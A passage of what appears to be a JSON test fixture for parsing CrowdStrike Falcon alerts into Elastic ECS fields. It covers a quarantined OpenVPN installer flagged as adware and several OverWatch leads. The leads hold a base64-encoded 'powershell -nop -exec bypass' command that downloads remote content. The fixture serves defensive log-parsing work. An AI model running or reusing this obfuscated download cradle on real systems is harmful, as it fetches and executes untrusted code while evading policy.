"platform": "Windows", - "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==", - "process_end_time": "2023-11-03T18:00:21.000Z", - "process_id": "399748687993", - "process_start_time": "2023-11-03T18:00:13.000Z", - "product": "epp", - "quarantined_files": [ - { - "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "state": "quarantined" - } - ], - "scenario": "NGAV", - "severity": 30, - "severity_name": "low", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "show_in_ui": true, - "source_products": [ - "FalconInsight" - ], - "source_vendors": [ - "CrowdStrike" - ], - "status": "new", - "tactic": "MachineLearning", - "tactic_id": "CSTA0004", - "technique": "Adware/PUP", - "technique_id": "CST0000", - "timestamp": "2023-11-03T18:00:22.328Z", - "tree_id": "1931778", - "tree_root": "38687993", - "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993", - "type": "ldt", - "updated_timestamp": "2023-11-03T19:00:23.985Z", - "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "user_name": "mohit.jha" - } - }, - "device": { - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "manufacturer": "LENOVO", - "model": { - "name": "20VE" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600", - "kind": "alert", - "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\\\"__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}", - "severity": 21, - "type": [ - "start" - ] - }, - "file": { - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe" - }, - "host": { - "domain": "ABC.LOCAL", - "hostname": "ABC709-1175", - "id": "2ce412d17b334ad4adc8c1c54dbfec4b", - "ip": [ - "81.2.69.142" - ], - "mac": [ - "AB-21-48-61-05-B2" - ], - "os": { - "full": "Windows11", - "platform": "Windows", - "type": "windows" - } - }, - "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.", - "process": { - "end": "2023-11-03T18:00:21.000Z", - "entity_id": "399748687993", - "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "hash": { - "md5": "cdf9cfebb400ce89d5b6032bfcdc693b", - "sha1": "0000000000000000000000000000000000000000", - "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd" - }, - "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe", - "parent": { - "command_line": "C:\\WINDOWS\\Explorer.EXE", - "entity_id": "392736520876", - "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe", - "hash": { - "md5": "8cc3fcdd7d52d2d5221303c213e044ae", - "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4" - }, - "name": "explorer.exe", - "pid": 392736520876 - }, - "pid": 399748687993, - "start": "2023-11-03T18:00:13.000Z", - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - "related": { - "hash": [ - "b07f77fd3f9828b2c9d61f8a36609741", - "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33", - "cdf9cfebb400ce89d5b6032bfcdc693b", - "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd", - "8cc3fcdd7d52d2d5221303c213e044ae", - "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4", - "0000000000000000000000000000000000000000" - ], - "hosts": [ - "ABC.LOCAL", - "ABC709-1175" - ], - "ip": [ - "81.2.69.142" - ], - "user": [ - "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425", - "S-1-5-21-1909377054-3469629671-4104191496-4425", - "yuvraj.mahajan", - "mohit.jha" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields" - ], - "threat": { - "framework": "CrowdStrike Falcon Detections Framework", - "tactic": { - "id": [ - "CSTA0004" - ], - "name": [ - "MachineLearning" - ] - }, - "technique": { - "id": [ - "CST0000" - ], - "name": [ - "Adware/PUP" - ] - } - }, - "user": { - "id": "S-1-5-21-1909377054-3469629671-4104191496-4425", - "name": "mohit.jha" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_name": "SOMEHOST", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "SOMEHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "SOMEHOST" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ] - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_name": "SOMEHOST", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" - }, - "file": { - "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" - }, - "host": { - "id": "abcd1234abcd1234abcd12", - "name": "SOMEHOST", - "os": { - "name": "Windows", - "type": "windows" - }, - "type": "Server" - }, - "process": { - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "entity_id": "123456789123", - "pid": 123456789123 - }, - "related": { - "hosts": [ - "SOMEHOST", - "OTHERHOST" - ], - "user": [ - "OTHERUSER" - ] - }, - "tags": [ - "preserve_original_event", - "preserve_duplicate_custom_fields", - "ow/investigated", - "ow/resolution/benign" - ], - "user": { - "name": "OTHERUSER" - } - }, - { - "@timestamp": "2024-11-07T20:47:22.000Z", - "crowdstrike": { - "alert": { - "agent_id": "abcd1234abcd1234abcd12", - "cid": "asdfasdfsadfasdfasdf", - "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", - "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "crawled_timestamp": "2024-11-07T20:49:59.123Z", - "created_timestamp": "2024-11-07T20:49:59.123Z", - "detect_type": "endpoint", - "host_type": "Server", - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", - "name": "OTHERUSER on OTHERHOST", - "operating_system": "Windows", - "pattern_id": "97000", - "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", - "process_id": "123456789123", - "product": "overwatch", - "seconds_to_resolved": 0, - "seconds_to_triaged": 0, - "show_in_ui": true, - "status": "new", - "tags": [ - "ow/investigated", - "ow/resolution/benign" - ], - "timestamp": "2024-11-07T20:47:22.000Z", - "tree_id": "12345678901", - "type": "lead", - "updated_timestamp": "2024-11-07T20:49:59.123Z", - "user_name": "SOMEUSER" - } - }, - "ecs": { - "version": "8.17.0" - }, - "event": { - "category": [ - "process" - ], - "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", - "kind": "alert", - "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand 